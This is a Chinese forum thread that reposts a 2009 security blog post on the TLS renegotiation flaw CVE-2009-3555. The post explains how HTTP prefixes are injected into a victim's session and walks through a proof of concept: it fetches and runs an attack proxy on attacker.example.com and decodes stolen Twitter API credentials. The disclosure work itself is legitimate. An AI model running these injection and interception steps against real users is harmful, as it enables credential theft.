TLS的中间人攻击已经有实例了…

BS有VPN的人炫耀墙外的网页 【 在 yegle 的大作中提到: 】 : 直接用推特的API演示的…orz… : http://www.securegoose.org/2009/11/tls-renegotiation-vulnerability-cve.html

野狗，你行行好，贴过来呗。

关键词多… 我试试… 【 在 BookMoth (书中蠹鱼) 的大作中提到: 】 : 野狗，你行行好，贴过来呗。

Tuesday, November 10, 2009 TLS renegotiation vulnerability (CVE-2009-3555) definitely not a full blown MITM, yet more than just a simple CSRF UPDATE: This article was featured on The Register Context Marsh Ray and Steve Dispensa have recently uncovered a vulnerability in the design of TLS. Many comments and explanations have been made, and the consensus is that for HTTPS, this attack is equivalent to a CSRF, which is usually well protected against. From IBM ISS: Most, if not all, major web applications have implementation level protections against CSRF, such as random nonces in web forms that must be submitted along with any request. Those protection measures are effective against this new SSL man in the middle attack. Therefore, this vulnerability has minimal security impact for most websites and Internet users. UPDATE: Tom J Cross from IBM ISS made a follow-up blog post referring to this attack. This is about right if one considers the way an attacker injects data in the TLS session (in red) according to Marsh Ray's "X-ignore" trick: GET /transact.php?value=evil HTTP/1.0 X-Ignore: Get / HTTP/1.1 Cookie: [...] This is not the only possibility though. Here is another one: POST /forum/send.php HTTP/1.0 message=GET / HTTP/1.1 [...] Now the victim's packet is embedded in the POST data. The attacker can therefore have access to the actual packet sent by an auxiliary channel - e.g. here by reading the posted message on the forum that we assume operates on the same website. One can see here that this is somewhat broader than a CSRF: an attacker can now have access to HTTP headers, such as the Authorization header. A real world attack scenario: the twitter API One can update its twitter status by using their RESTful API, e.g. with curl: $ curl -u "user:pw" -d "status=New status" https://twitter.com/statuses/update.xml Note that this is a POST request. Applying the previously stated idea, it is now possible to access the first 140 characters of an HTTP packet sent by a victim. Attacker: attacker.example.com$ wget http://perso.telecom-paristech.fr/~kurmus/ssl.c #based on the PoC published on full disclosure attacker.example.com$ gcc -lssl ssl.c -o ssl attacker.example.com$ ./ssl 8080 `echo -n "attacker@example.com:evilpw" |base64` Victim: $ curl -u "victim@example.com:securepw" -d "status=any" https://twitter.com/statuses/update.xml -p -x attacker.example.com:8080 \ # proxying the request through attacker.example.com, to simulate a MITM Result on the attacker's twitter status: $ echo -n dmljdGltQGV4YW1wbGUuY29tOnNlY3VyZXB3 | base64 -d victim@example.com:securepw Although the attacker cannot modify the contents of the data sent back by the server after the malicious status update, he can take advantage of his relaying position and drop that packet. Considering twitter will also append an authentication cookie in the reply, this is a must for the attacker. All in all, a man in the middle is able to steal the credentials of a user authenticating himself through HTTPS to a trusted website, and CSRF protections do not apply here. Luckily, a fix should be out soon. Posted by Anil Kurmus at 7:41 PM Labels: exploit, mitm, TLS, twitter 【 在 yegle ( ) 的大作中提到: 】 : 直接用推特的API演示的…orz… : http://www.securegoose.org/2009/11/tls-renegotiation-vulnerability-cve.html